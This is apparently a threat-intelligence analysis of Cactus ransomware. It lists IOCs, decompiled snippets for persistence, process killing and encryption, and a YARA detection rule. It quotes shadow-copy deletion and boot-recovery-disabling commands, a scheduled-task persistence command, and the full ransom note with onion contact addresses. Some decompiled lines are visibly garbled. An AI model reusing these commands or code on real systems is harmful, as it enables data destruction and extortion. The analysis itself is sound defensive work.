Cactus Ransomware

shadowstackre.com/analysis/cactus

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A prickly situation for the victims

Threat Landscape

On January 20th the Cactus ransomware group attacked a number of victims across varying industries. The attacks were disclosed on their leak site with the accompanying victim data. The ransomware group has routinely put pressure on victims by releasing personal information about employees of the victim organization; this has included drivers licenses, passports, pictures and other personal identification.

In October of 2023 only 5 disclosures were posted on the leak site, but in November a steady increase of 10 victims were posted and a drastic increase in December of 30+ victims. This steady increase over a three month period has shown that Cactus has been busy deploying their ransomware encryptor.



IPs

The samples have related IPs that are indexed on VirusTotal and also alienvault OTX. The IPs listed have a number of varying hashes from other malware associated to them and the IDS detections on AlienVault clearly indicates malicious activity.

Contacted IP addresses (10) ①					
IP	Detections	Autonomous System	Country		
104.86.182.8	1 / 89	20940	US		
192.168.0.1	<mark>0</mark> / 89				
192.229.211.108	1 / 89	15133	US		
20.99.133.109	3 / 89	8075	US		
20.99.184.37	2 / 89	8075	US		
20.99.185.48	<mark>0</mark> / 89	8075	US		
20.99.186.246	1 / 89	8075	US		
23.215.176.128	<mark>0</mark> / 89	20940	US		
23.216.147.64	2 / 89	20940	US		
23.216.147.76	2 / 89	20940	US		

104.86.182.8 - https://otx.alienvault.com/indicator/ip/104.86.182.8

23.216.147.64 - https://otx.alienvault.com/indicator/ip/23.216.147.64

23.216.147.76 - https://otx.alienvault.com/indicator/ip/23.216.147.76

Indicator Facts	Historical OTX telemetry IP mentioned on Twitter Running webserver		
	8 domains resolved in last 7 days 17 domains resolved in last 30 days		
	328 domains resolved in all time 44 top-level domains		
Open Ports	3 Open Ports		
	80, 443, 8883		
Exploited CVEs	All Time: 2002-0013		
Antivirus Detections	ALF:Backdoor:MSIL/Noancooe.KA, ALF:HeraklezEval:Ransom:Win32/CVE,		
	ALF:HeraklezEval:Trojan:Win32/ClipBanker, ALF:HeraklezEval:Trojan:Win32/Occamy.B,		
	ALF:HeraklezEval:Trojan:Win32/Ymacco.AA47 More		
AV Detection Ratio	667 / 692		
AV Detection Ratio	667 / 692 W32/Rodecap.BA connectivity Check Observed Suspicious UA (Mozilla/5.0)		
AV Detection Ratio IDS Detections Certificate Issuer	667 / 692 W32/Rodecap.BA connectivity Check Observed Suspicious UA (Mozilla/5.0) C=US, O=DigiCert Inc, CN=DigiCert TLS RSA SHA256 2020 CA1		
AV Detection Ratio IDS Detections Certificate Issuer Certificate Subject	667 / 692 W32/Rodecap.BA connectivity Check Observed Suspicious UA (Mozilla/5.0) C=US, O=DigiCert Inc, CN=DigiCert TLS RSA SHA256 2020 CA1 CN=a248.e.akamai.net		

Keypoints

- Encoded public key to hinder static analysis
- Uses standard C++ constructs; including atomics for synchronisation and lambda's to compartmentalise functionality

- Uses Windows scheduled tasks for persistence
- Perfecting their source code between May 2023 and December 2023

Build information

Hashes

The sample sizes are typically seen between 8.0MB - 8.9MB and in the PE format.

Hash:

- 9ec6d3bc07743d96b723174379620dd56c167c58a1e04dbfb7a392319647441a (VirusTotal)
- first seen on 2023-05-05 in VirusTotal.

Hash:

- c49b4faa6ac7b5c207410ed1e86d0f21c00f47a78c531a0a736266c436cc1c0a (VirusTotal)
- first seen on 2023-12-18 in VirusTotal.

Compiler

VirusTotal identified the build tooling (TrID) as Microsoft Visual C++ compiled at 41%, notably the build strings in the compiled binary trace to mingw build paths.

The build for 9ec6d3bc07743d96b723174379620dd56c167c58a1e04dbfb7a392319647441a contains unique strings for the cactus builder, d:/_locker/cactusbuilder/buildcactuscrypt. This string is reflected in the Yara rule below, and can be used to quickly identify other builds with the same code line.

```
81802 d:/_locker/cactusbuilder/buildcactuscrypt
81803 C:/msys64/mingw64/include/c++/12.2.0/x86_64-w64-mingw32/bits
81804 C:/msys64/mingw64/include
81805 C:/msys64/mingw64/include/c++/12.2.0/bits
81806 C:/msys64/mingw64/include/c++/12.2.0/ext
81808 C:/msys64/mingw64/include/c++/12.2.0/debug
81809 C:/msys64/mingw64/include/c++/12.2.0/pstl
81810 C:/msys64/mingw64/include/openssl
```

Tactics and Techniques

A forward on the differences

The samples are very close in source code structure, overall functionality and implementation of tactics and techniques. There are some differences in inhibiting system recovery, scheduled task names and process / folder black and white listing. However, the source code is so similar there is no doubt that they are from the same code line.

Program flow

The main function facilitates much of the overall structure of the encryptor. All of the major techniques branch off from the main function in the form of lambda's, with atomics to control the status and updates of the varying techniques.

Below is an overall graph of that flow and its general complexity.





The setup

The sample starts up with the option of a number of program arguments, but before it processes each argument; the sample will first generate a random text file name to use for the readme and attempt to get the number of concurrent threads supported for the encryption thread pool. To reduce the chances of the process from being discovered, the sample will set the console window property to hide via the ShowWindow function and setting the second argument to 0.

A randomized name for the readme file is determined during the setup. With that said, the constructor for the readme text still has the original static string containing the original name and can be used for identification or potential threat hunting purposes.

std::__cxx11::basic_string<wchar_t,std::char_traits<wchar_t>,std::allocator<wchar_t>>::basic_string<std::allocator<wchar_t>>(&txtReadMeName[abi:cxx11], L"cAcTuS.readme.txt".

Options

The sample takes a number of arguments to control the encryptor. The common enablement of logging, changing the percentage of file to encrypt and specific file path are included; but most notable is the control of the system start up persistence and the ability to kill processes and system shadow copies prior to encrypting the system.

- -s, system start persistence
- -kd, kill processes and shadow copy if admin

Process, files and folder list

The black and white list contains a fairly standard set of executables, file names, services and extensions. Most notable is the extension for cactus cts0-7. The string searching is based on an array of string values which are iterated upon during the file searching and preparation for encryption.

.data:0000000140404020	blackProcessList dg offset aSteamExe, offset aThebatExe, offset aM_1, offset aSqlagentExe
	dq offset a5_43, offset a5qlwriterExe, offset a0racleExe ; "s" ; "sqlwriter.exe" ; "oracle.exe"
	dq offset a0_0, offset aD_9, offset aSynctimeExe, offset asc_14040A132 ; "o" ; "d" ; "synctime.exe" ; "x"
	dq offset a5 46, offset aMydesktopservi, offset a0 1, offset aAqntsvcExeencs ; "s" ; "mydesktopservice.exe" ; "o" ; "aqntsvc.exeencsvc.exe"
	dq offset aFirefoxconfigE, offset aTbirdconfigExe, offset aMydesktopgosEx ; "firefoxconfig.exe" ; "tbirdconfig.exe" ; "mydesktopgos.exe"
	dq offset aO 2, offset aM 3, offset aMysqldNtExe, offset aMysqldOptExe ; "o" ; "m" ; "mysqld-nt.exe" ; "mysqld-opt.exe"
	dq offset aD 8, offset aSqbcoreservice, offset aE 1, offset aI ; "d" ; "sqbcoreservice.exe" ; "e" ; "i"
	dq offset aMsaccessExe, offset aM 2, offset a0, offset a0 3 ; "msaccess.exe" ; "m" ; "o" ; "o"
	dq offset aP 11, offset aThunderbirdExe, offset aVisioExe ; "p" ; "thunderbird.exe" ; "visio.exe"
	dq offset aWinwordExe, offset aWordpadExe, offset aSqlExe ; "winword.exe" ; "wordpad.exe" ; "sql.exe"
	dq offset aAgntsvcExe, offset aIsqlplussvcExe, offset aEncsvcExe ; "agntsvc.exe" ; "isqlplussvc.exe" ; "encsvc.exe"
	dq offset asc 14040A45E, offset aD 10, offset aN 3 : "f" : "d" : "n"
	public blackServiceList
	blackServiceList dg offset aPhonesvc, offset aVeeam, offset aMemtas, offset aSgl
	do offset aBackup, offset aVss, offset aSophos, offset aSopc : "backup" : "vss" : "sophos" : "svc\$"
	do offset aMepocs, offset aMsexchange, offset aSophos : "mepocs" : "msexchange" : "sophos"
	do offset aGxyss, offset aGxblr, offset aGxfwd, offset aGxcyd : "oxyss" : "oxfwd" : "oxyd"
	da offset aGxcimar : "axcimar"
	public extBlackList
	extBlackList do offset aExe 0, offset aDll, offset aLnk, offset aSvs
	do offset aMsi, offset aBat, offset aCts0 0, offset aC 4 : "msi" : "bat" : "cts0" : "c"
	dn offset aCts7 0 : "cts7"
	public procWhiteList
	procWhiteList do offset aS 44, offset aE 2, offset aSihostExe, offset aFontdryhostExe
	do offset aCmdExe, offset aDwmExe, offset aLogonuiExe : "cmd.exe" : "dwm.exe" : "LogonUI.exe"
	do offset aSearchuiExe. offset asc 14040A86A. offset aC 6 : "SearchUI.exe" : "l" : "c"
	dg offset aS 47. offset aWinlogonExe, offset aS 45. offset aConhostExe : "s" : "winlogon.exe" : "s" : "conhost.exe"
	public folderBlackList
	folderBlackList do offset aRecycleBin, offset aSystemVolumeIn, offset aWindows
	do offset aTmp. offset aT 2. offset av 1 : "tmp": "tomp": "t" " ""
	do offset aw 2. offset aw 3. offset aP 12. offset aP 13. "w" · "v" · "o" · "o"
	do offset aBoot, offset aP 9, offset aP 14, offset aFfi - "hoot" - "n" - "n" - "efi"
	do offset awindowsanns, offset aMicrosoft, offset aGoogle : "windowsanns" : "microsoft" : "onogle"
data:0000000140404370	dn offset aC 5. offset awindowsDefende offset awircosoffShare - "c" - "windows dofender" - "googo
data:0000000140404370	do offset and sense trainer, offset and the offset affset affset available , "internet available", "the heaves", "the label
.uaca.000000140404566	ud offset ainternetexptor, offset atolstowser, offset active, internet exptorer; tor browser; ctstck

Victim ID

The victims ID is stored in the binary statically as a std::string and initialize during the constructor for the configuration object. The format of the ID is four groups of four characters separated by dash. This format can be used for threat hunting and easily found in standard string analysis from tooling such as FLOSS or within IDA Pro.

Inhibit system recovery

The sample will check for processes and if the user is currently the admin, attempt to close black listed processes. Although the sample will later use the Windows restart manager API to ensure file handles are not locked; the process takes extra measures to ensure a successful encryption by iterating through each running process.

The CreateToolhelp32Snapshot function used to get a handle to a list of all running processes. Once obtained a simple while loop is used to iterate through all the processes and get the general PE information, this is done via the Process32NextW API. The comparison of the process szExeFile string and the blacklist is performed for each blacklisted process. If found, the process is closed.



If the sample has determined that the process is running with admin privileges, it will attempt to delete the system shadow copies via the vssadmin.exe, and the WMIC.exe executables. These standard executables are available on all versions of Windows. Passing in the command vssadmin delete shadows /all /quiet for vssadmin, and WMIC shadowcopy delete for WMIC will immediately hamper the system recovery process. Both services will communicate via the VSS Provider API, which is a Windows component that maintains the shadow copies. The provider API will access the volumes for the system and hardware providers on behalf of the API.

After updating the system shadow copy, the sample will attempt to update the bootstatuspolicy via bcdedit by setting the ignoreallfailures. This will ensure no errors such as failed boot, shutdown or failed checkpoint will interfere with the next boot cycle.

Lastly, the recovery enabled is turned off, to ensure that the Windows repair tool does not fire, if an error is found.



Restoring the public key

The public key is encoded in the samples, but will be decoded during runtime prior to loading it into memory. The sample will pull the encoded string from the static string initialized during the constructor of the configuration object.

&key[abi:cxx11],
"d3d3d5aa22a2e5a2d8c8b9267360a7752c41f1e00827fcc31ff64aaf166e10908a04afe904c39a79bf5193dc27d0c544f2cc8903367a8fcddb"
"72f6a17ffc0a8b5f338914aab62d151b9019333820e47c67c230ffdc0ea856b9bea416a3ec39cb2223c4909dba273946eec4996af96b830fb5"
"23834a1e19841c4646f7538726902f912a97b26237bd6f6e56d8e63703674a6db88aefdc6910f2c85045aaf0c146f06085a177754420716117"
"b7753d0b2f3eee3521f16813b432b38b7883ed8e99f1a559a0783215d991bbac179ff61d57359657b43b34fe1990fe80ddc6d2f75328a40dbc"
"d338 add 6922727731805 a7b30 a5c3673 fe66440832129 e2cc58259 c7305 e8b fe68b061 e3707 fa1609 e3bb7 eeb1e1b30763 ecf faf74557 a7630" add after the second statement of the s
"d3602e49c2317349291c7311922cd8ee80a5773a4eea7a08b5a341036f388fbd72aa2851e507ff4bae865dde930af9697a7bdc060ce6c3e4ac"
"75d3fc1cd3fff58d15b846589481dda0901ad49cc5d6145edb04958a8f0ea033927d3cda21546ab87d54b4ec56ab2b5608282b68b309a94788"
"793487fd5f50f13974186d1e9784d407abad053e131d89c97222bb2543dfe54ac5eb367f05218db82328117dd0bc84ec2eae376d58a90bd1e2"
"06b19033830cf0a6b6a81247e68a5dfe76c8dcff724265a8aa7ceef5547acb1c84b5643e758cf87a95e12bfe99a7f15c3a8fd469eb6cf83fce"
"e3afb75308c48ff57db9a3a60e2baac40e63b03008cd71324021b1783db1b9972ceca2aa1deb11df3c382d53516cd2dc9a3fd1df451440338f"
"4c3d6157ceda0a8906a2e0d75c04496d463cbb2ad8a24a1be9cb3e189530250bd04d01b40b095fbf2d17278ee89f5e26570368fe8e4cb4c995"
"825c2d79b97e13dfaaba3c1482bc16ae905afeaa7df61ca1bc236407247d2866119cf0227e67d37b6d2c8e0415181bc70e97ef67d1c9113f1a"
"clfce209f08b4e3764e5f3d80f290756f66fab14c909b78ed84c5ce22afd5978e21bf2fc3c6b120515ce7566cfa221d673a8f9282724abee56"
"42aaf1f0d2aca5e6d42dae4f2096a651e48a5e91186ccb6458bf4ed939791b13976e082dd523619003a6e6f6b01364dd2e1a2f4b2fef37e084"
"0b3e0691fd61f65ae5dfa9a3550fff51",

To decode the key, the static string for the public keys salt is also stored in a static string.

Decoding the string is done using a set of AES functions to decrypt the key and load the RSA Key into memory once the plain text is decoded. The mechanism is used to hinder static analysis and require dynamic execution. This process can be automated provided the encoded string and the salt is located at the correct offset address.

253	
254	<pre>ptrEncryptedKeyString = (const char *)std::cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>::c_str(&key[abi:cxx11]);</char></char,std::char_traits<char></pre>
255	restoredKey = hexstr_to_char(ptrEncryptedKeyString);
256	<pre>memset(comparedBytes, 45, sizeof(comparedBytes));</pre>
257	<pre>ptrSalt = (unsignedint8 *)std::cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(&salt[abi:cxx11]);</char></char,std::char_traits<char></pre>
258	<pre>ptrAesKeyString = (unsignedint8 *)std::_cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(&aesKeyString);</char></char,std::char_traits<char></pre>
259	<pre>ptrEncryptedKeyLen = std::cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::size(&key[abi:cxx11]);</char></char,std::char_traits<char></pre>
260	aesKeyDecrypt(restoredKey, ptrEncryptedKeyLen >> 1, ptrAesKeyString, ptrSalt, publicKeyPlainText);
261	<pre>memcpy(compareBytes, publicKeyPlainText, 3ui64);</pre>
262	if (!strncmp(compareBytes, comparedBytes, 3ui64))
263	
264	<pre>keyPublic = loadRsaKey((const char *)publicKeyPlainText);</pre>

Persistence

The ntuser.dat located in the users c:\ProgramData\ is deleted, and then recreated with junk the threat actor added to the sample. This file was found to contain garbage data when testing, but it could be expanded upon to added stealth or evasion. Since there is a read/write operation to that specific file, rule based detections could pick up the sequence and potentially alert on it.

Note: other samples had a similarly named file ntuser.log



Persistence was added through the -s program argument, and will cause the sample to add Windows scheduled task with the name Updated Check Task or Google Service Update. The intention is to blend into a legitimate system service, but instead execute the sample again upon login.

265	
266	if (systemStart)
267	{
268	<pre>std::basic_ofstream<wchar_t,std::char_traits<wchar_t>>::basic_ofstream(v55);</wchar_t,std::char_traits<wchar_t></pre>
269	<pre>std::cxxll::basic_string<wchar_t,std::char_traits<wchar_t>,std::allocator<wchar_t>>::basic_string(&currentExePath);</wchar_t></wchar_t,std::char_traits<wchar_t></pre>
270	<pre>std::cxxl1::basic_string<wchar_t,std::char_traits<wchar_t>,std::allocator<wchar_t>>::basic_string(&ntFileData);</wchar_t></wchar_t,std::char_traits<wchar_t></pre>
271	std::cxxll::basic_string <char,std::char_traits<char>,std::allocator<char>>::basic_string(&outFileData);</char></char,std::char_traits<char>
272	
273	extractExePath[abi:cxx11](&v73);
274	std::cxxll::basic_string <wchar_t,std::char_traits<wchar_t>,std::allocator<wchar_t>>::operator=(</wchar_t></wchar_t,std::char_traits<wchar_t>
275	¤tExePath,
276	&v73);
277	std::cxx11::basic_string <wchar_t,std::char_traits<wchar_t>,std::allocator<wchar_t>>::~basic_string(&v73);</wchar_t></wchar_t,std::char_traits<wchar_t>
278	std::allocator <wchar_t>::allocator(&v75);</wchar_t>
279	std::cxx11::basic_string <wchar_t,std::char_traits<wchar_t>,std::allocator<wchar_t>>::basic_string<std::allocator<wchar_t>>(</std::allocator<wchar_t></wchar_t></wchar_t,std::char_traits<wchar_t>
280	δν74,
281	
282	δv75);
283	std::allocator <wchar_t>::allocator(&v78);</wchar_t>
284	// Create a new scheduled task using the path to the new ransomware filesystem location for persistence
285	std::cxxll::basic_string <wchar_t,std::char_traits<wchar_t>,std::allocator<wchar_t>>::basic_string<std::allocator<wchar_t>>(</std::allocator<wchar_t></wchar_t></wchar_t,std::char_traits<wchar_t>
286	6v77,
287	L"C:\\Windows\\system32\\schtasks.exe /create /sc MINUTE /mo 5 /rl HIGHEST /ru SYSTEM /tn \"Updates Check Task"
288	"\" /tr \"cmd /c cd C:\\ProgramData && ",
289	δν//8);
290	std::operator+«char_t,std::char_traits<«char_t>,std::allocator<%char_t> <kv ,="" o,="" td="" «projectuld[ab1:cxx11]);<="" «v=""></kv>
291	std::operator+swcnar_t,std::cnar_traits <wcnar_ts,std::altocator<wcnar_ts>(wcmar_ts>(wcmar_ts>(wcmar))</wcnar_ts,std::altocator<wcnar_ts>
292	Std::CXX11::Dasic_string=wchar_t,std::char_traits=wchar_t,std::attoCator=wchar_t>::=basic_string=wchar_t,std::char_traits=wchar_t,std::attoCator=wchar_t>:=basic_string=wchar_t,std::attoCator=wchar_t>:=basic_string=wchar_t,std::attoCator=wchar_t>:=basic_string=wchar_t,std::attoCator=wchar_t>:=basic_string=wchar_t,std::attoCator=wchar_t>:=basic_string=wchar_t,std::attoCator=wchar_t>:=basic_string=wchar_t,std::attoCator=wchar_t>:=basic_string=wchar_t,std::attoCator=wchar_t>:=basic_string=wchar_t,std::attoCator=wchar_t>:=basic_string=wchar_t,std::attoCator=wchar_t>:=basic_string=wchar_t,std::attoCator=wchar_t>:=basic_string=wchar_t>:=bas
295	std]cxx11.bdstc_stringworda_t_stdtdat_talts <wcdat_ty,stdattotatot<wcdat_twcdat_twcdat_string(xv);<="" td=""></wcdat_ty,stdattotatot<wcdat_twcdat_twcdat_string(xv>
294	stdy. $exv1(vacion < vacion <$
295	std::allocator/wharts::sallocator/&/rsi
297	std::allocatorswchar_t>::allocator(&v79).
298	stdi = cxx11 thesis stringewhart stdi char traitsewcharts stdi allocatorswchartss thesis stringestdi allocatorswchartss
299	
300	demas, I "C'\\Windows\\system37\\schtasks exe /run /tn \"Nndates Check Task\"".
301	<pre>kv79):</pre>
302	std::allocator <wchar t="">::~allocator(&v79):</wchar>
303	
304	CreateDirectoryW("D", 0i64);
305	<pre>newAttr = GetFileAttributesW(L"C:\\ProgramData");</pre>
306	SetFileAttributesW(L"C:\\ProgramData", newAttr 2);

Windows restart manager

The restart manager is used to clear any handles to a file used by a running process. The threat actor starts off by first getting a new restart manager session via the RmStartSession API. Once obtained the session can be used to enumerate resources allocated to a file path via the RmRegisterResources call. The session information is then linked to all processes that are listed as a resource, this can be retrieved

using the session handle and a call to the RmGetList function. Once obtained, the sample can iterate on any process by the handle. Lastly, removing the resource by opening the process via OpenProcess, K32GetProcessImageFileNameW and shutting down the application via RmShutdown.

The result will leave the file without any resource locks, allowing the encryptor to modify the file without error.

```
if ( RmStartSession(&dwSession, θ, szSessionKey) )// Create a new
if ( RmRegisterResources(dwSession, lu, &filePatha, 0, 0i64, 0, 0i64) )// Register the filepath as the resource to shutdown
  RmEndSession(dwSession);
  return weCanKillProcess;
// Gets a list of all applications and services that are currently using ret = RmGetList(dwSession, &nProcInfoNeeded, &nProcInfo, 0i64, &dwReason);
if ( ret == 234 )
  if ( nProcInfoNeeded )
    ProcessHeap = GetProcessHeap();
ProcessInfo = (PRM_PROCESS_INFO)HeapAlloc(ProcessHeap, 8u, v2);
if ( ProcessInfo )
      nProcInfo = nProcInfoNeeded;
ret = RmGetList(dwSession, &nProcInfoNeeded, &nProcInfo, ProcessInfo, &dwReason);
if ( ret || !nProcInfoNeeded )
         RmEndSession(dwSession);
         exeNameHandle = OpenProcess(0x1FFFFFu, 0, ProcessInfo[i].Process.dwProcessId);
if ( exeNameHandle )
           // Retrieves the name of the executable file for the specif.
K32GetProcessImageFileNameW(exeNameHandle, buffer, 0x104u);
            CloseHandle(exeNameHandle);
            std::_cxxll::basic_string<wchar_t,std::char_traits<wchar_t>,std::allocator<wchar_t>>::basic_string<std::allocator<wchar_t>>(
    &filename,
            std::__cxxll::basic_string<wchar_t,std::char_traits<wchar_t>,std::allocator<wchar_t>>::substr(&ext);
std:: cxxll::basic_string<wchar_t,std::char_traits<wchar_t>,std::allocator<wchar_t>>::basic_string(
            v6 = !checkProcess(&p processName); // Check Process is white liste
            std::__cxxl1::basic string<wchar_t,std::char_traits<wchar_t>,std::allocator<wchar_t>>::~basic string(&p processName);
              RmEndSession(dwSession);
            .
std::__cxxll::basic_string<wchar_t,std::char_traits<wchar_t>,std::allocator<wchar_t>>::~basic_string(&ext);
            std:: cxxll::basic_string<wchar_t,std::char_traits<wchar_t>,std::allocator<wchar_t>>::~basic_string(&filename);
if ( v8 != 1 )
          CanKillProcess = RmShutdown(dwSession, lu, 0i64) == 0;
```

Directory and file discovery

The file discovery starts off in a new thread setup in a lamdba function. The thread is responsible for traversing directories, finding files to encrypt and skipping files or extensions which would be problematic to the systems uptime.

The file discovery implementation makes use of all the common Windows APIs. The FindFirstFileW and the FindNextFileW calls are used to iterate through the file system pointers. Before it can determine if the file is legit; it must determine if its a directory. Upon iterating over each file handle, the structures dwFileAttributes member has a bit wise & operations performed against it using the constant value FILE_ATTRIBUTE_DIRECTORY which resolves to 0x10 in the Windows API. If the file handle is found to be a directory, it is checked for the relative paths . and ... The function is recursively called for files that are directories.

Note: no tail recursion is done, so this can expand the stack when encountering nested file systems and lead to a crash.

Before the file handle is selected and added to a common list of paths, it must first check if the folder extension matched any of the white listed data (See: Process, file and folders list above)

```
if ( wcscmp(FindData.cFileName, L".") && wcscmp(FindData.cFileName, L"..") )
  std::operator+<wchar_t,std::char_traits<wchar_t>,std::allocator<wchar_t>>(&_lhs, p_basePath, asc_140408C6A);
 std::operator+<wchar_t,std::char_traits<wchar_t>,std::allocator<wchar_t>>(&v19, &_lhs, FindData.)
std::_cxx11::basic_string<wchar_t,std::char_traits<wchar_t>,std::allocator<wchar_t>::operator=(
                                                                                     lhs, FindData.cFileName);
 std:: cxxll::basic_string<wchar_t,std::char_traits<wchar_t>,std::allocator<wchar_t>>::~basic_string(&_lhs);
  if ( (unsigned __int64)std::__cxxll::basic_string<wchar_t,std::char_traits<wchar_t>,std::allocator<wchar_t>>:size(&newPath) > 0xFA )
   std:: cxx11::basic string<wchar t,std::char traits<wchar t>,std::allocator<wchar t>>::basic string(
   longPathCheck(&v21, &p_inPath);
   std::__cxx11::basic_string<wchar_t,std::char_traits<wchar_t>,std::allocator<wchar_t>>::operator=(
   std: ___cxx11::basic_string<wchar_t,std::char_traits=wchar_t>,std::allocator<wchar_t>>:-basic_string(&p_inPath);
  if ( needExtraLogger )
     &p_logMsg,
   logger(&p_logMsg);
   std::__cxx11::basic_string<wchar_t,std::char_traits<wchar_t>,std::allocator<wchar_t>>::~basic_string(&p_logMsg);
 checkFolderExtStatus = checkFolderExt(&p directoryName);// Che
 std::_cxx11::basic_string<wchar_t,std::char_traits<wchar_t>,std::allocator<wchar_t>>::~basic_string(&p_directoryName);
std::allocator<wchar_t>::~allocator(&v25);
   std::operator+<wchar_t,std::char_traits<wchar_t>,std::allocator<wchar_t>>(&v27, &newPath, asc_140408C6A);
     &p filePath
     Sv27
     &txtReadMeName[abi:cxx11]);
```

Before the file can be added to the list, the restart manager is called to ensure the file is opened by another service/application. (See: Windows restart manager above)

Lastly, the readme file is prepared to be dropped in the directory.

```
void   cdecl makeReadMeFile(const std::wstring *p readMePath, const std::wstring *p fixedIDForRun)
 char noteBuffer[480]; // [rsp+20h] [rbp-60h] BYREF
 std::basic_ofstream<wchar_t,std::char_traits<wchar_t>>::basic_ofstream(&v10 + 4);
 v2 = std::operator|(std::_Ios_Openmode::_S_out, std::_Ios_Openmode::_S_ate);
 v3 = std::__cxx11::basic_string<wchar_t,std::char_traits<wchar_t>,std::allocator<wchar_t>>::c_str(p_readMePath);
 std::basic_ofstream<wchar_t,std::char_traits<wchar_t>>::open(noteBuffer, v3, (unsigned int)v2);
 v4 = std::operator<<<wchar_t,std::char_traits<wchar_t>>(
        noteBuffer.
        L"Your sys
 std::operator<<<wchar t,std::char traits<wchar t>>(v4, L"\n");
 v5 = std::operator<<<wchar_t,std::char_traits<wchar_t>>(
 std::operator<<<wchar_t,std::char_traits<wchar_t>>(v5, L"\n");
 v6 = std::operator<<<wchar_t,std::char_traits<wchar_t>>(noteBuffer, L"Your unique ID reference: ");
 v7 = std::operator<<<wchar_t,std::char_traits<wchar_t>,std::allocator<wchar_t>>(v6, p_fixedIDForRun);
 std::operator<<<wchar t,std::char_traits<wchar_t>>(v7, L"\n")
 v8 = std::operator<<<wchar_t,std::char_traits<wchar_t>>(noteBuffer, L"Backup contact: TOX (https://tox.chat/):");
 std::operator<<<wchar_t,std::char_traits<wchar_t>>(v8, L"\n");
 v9 = std::operator<<<wchar_t,std::char_traits<wchar_t>>(
        noteBuffer
        L"7367B42
 std::operator<<<wchar t,std::char traits<wchar t>>(v9, L"\n");
 std::basic_ofstream<wchar_t,std::char_traits<wchar_t>>::close(noteBuffer);
 std::basic_ofstream<wchar_t,std::char_traits<wchar_t>>::~basic_ofstream(noteBuffer);
```

Encryption

Once the thread pool is created using the maximum number of concurrent threads obtained by the system, and file discovery is well underway; the encryption routine is started via lamdba function. This function runs in a new thread, and can handle the off loaded work from the file discovery process.



The encryptor uses OpenSSL and will first setup an AES 256 CBC structure as the context across the entire encryption process. The extension of .cts* is setup to handle the file naming process, and a standard std::ostream object to handle the writing of contents.



As the thread prepares the file for encryption, it first must determine if it is going to partially or fully encrypt the file. This is done by analyzing the file size and using the configuration object or program argument to control the percentage of the file encryption. If the size of greater than 8MB the file is partially encrypted. If the file is not, then a full file encryption takes place.

Once the file is processed, a std::atomic used to control the thread busy loop, is updated with a value of 0 clearing the bit and indicating the work is complete. The Memory order used is the default one, and will ensure no other observation or worker thread mis-reads the status.

```
const unsigned __int64 fileSize,
std::atomic<br/>bool> *threadIsBusy)
std::wstring v8; // [rsp+50h] [rbp-50h] BYREF
unsigned __int64 hashSize; // [rsp+98h] [rbp-8h]
  v5 = sizeCoverGlobal;
  v6 = keyPublic;
  std::__cxx11::basic_string<wchar_t,std::char_traits<wchar_t>,std::allocator<wchar_t>>::basic_string(&v8, p_filePath);
  cryptPartFile(&v8, fileSize, v6, v5, bufferSize);
  std::__cxx11::basic_string<wchar_t,std::char_traits<wchar_t>,std::allocator<wchar_t>>::~basic_string(&v8);
  v3 = keyPublic;
  std:: cxx11::basic string<wchar t,std::char traits<wchar t>,std::allocator<wchar t>>::basic string(&v7, p filePath);
  cryptFullFile(&v7, fileSize, v3);
  std::__cxx11::basic_string<wchar_t,std::char_traits<wchar_t>,std::allocator<wchar_t>>::~basic_string(&v7);
if ( needExtraLogger )
  std::operator+<wchar_t,std::char_traits<wchar_t>,std::allocator<wchar_t>>(&p_logMsg, L"success file ", p_filePath);
  logger(&p logMsg);
  std::__cxxll::basic_string<wchar_t,std::char_traits<wchar_t>,std::allocator<wchar_t>>::~basic_string(&p_logMsg);
std::atomic<bool>::store(threadIsBusy, 0, std::memory_order::memory_order_seq_cst);
```

Readme

Your corporate network was compromised and encrypted by Cactus. Do not interrupt the encryption process, don't stop or reboot your machines until the encryption is complete. Otherwise the data may be corrupted. In addition to the encrypted infrastructure, we have downloaded a lot of confidential information from your systems. The publication of these documents may cause the termination of your commercial activities, contracts with your clients and partners, and multiple lawsuits. If you ignore this warning and do not contact us, your sensitive data will be posted on our blog:

https[:]//cactusbloguuodvqjmnzlwetjlpj6aggc6iocwhuupb47laukux7ckid.onion/ In your best interest is to avoid contacting law enforcement and data recovery companies. They can't help you with the recovery, will cause more problems and expenses, and delay the return to normal work significantly. Besides, if you contact the police we will immediately publish your data. We offer the best solution to the problem, to receive our decryption software and prevent disclosure of your sensitive information contact us directly. A quick recovery is very important to keep your business running at full capacity and minimize losses. This is why you need to begin negotiations as soon as possible. By the way, if you don't contact us within 5 days, we will start publishing your data. Download TOR Browser

(https[:]//www[.]torproject.org/download) and follow the link: Your username: Your password: Reply to the welcome email and we will get your message. Backup contact is TOX (https[:]//tox.chat): dcac7us[@]gmx.com

http[:]//sonarmsng5vzwqezlvtu2iiwwdn3dxkhotftikhowpfjuzg7p3ca5eid.onion/contact/Cactus_Support 7367B422CD7498D5F2AAF33F58F67A332F8520CF0279A5FBB4611E0121AE421AE1D49ACEABB2 http[:]//webmail.cactus47hhktlaclasue3rnkchcy6rgvitxmllv2l6m25gzkgbeyfyad.onion cts0100[@]cactus47hhktlaclasue3rnkchcy6rgvitxmllv2l6m25gzkgbeyfyad.onion

```
/*
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DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT
OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
rule CactusRansomware {
meta:
    description = "rule to detect Cactus Ransomware"
    author = "ShadowStackRe.com"
    date = "2024-01-18"
    Rule_Version = "v1"
    malware_type = "ransomware"
    malware_family = "Cactus"
    License = "MIT License, https://opensource.org/license/mit/"
    Hash =
"9ec6d3bc07743d96b723174379620dd56c167c58a1e04dbfb7a392319647441a, c49b4faa6ac7b5c207410ed1e86d0f21
c00f47a78c531a0a736266c436cc1c0a"
strings:
    $strReadMe = "cAcTuS.readme.txt" wide
    $strLockExt = ".cts" wide
    $strTskName = "Updates Check Task" wide
    $strTskName2 = "Google Service Update"
    $strNTUSer = "ntuser.dat" wide
    $strNTUSer2 = "ntuser.log" wide
    $strBuilderName = "cactusbuilder"
condition:
    uint16(0) == 0x5A4D and ($strReadMe and $strLockExt) and
    (1 of ($strTskName*)) and (1 of ($strNTUSer*)) or ($strBuilderName)
}
```

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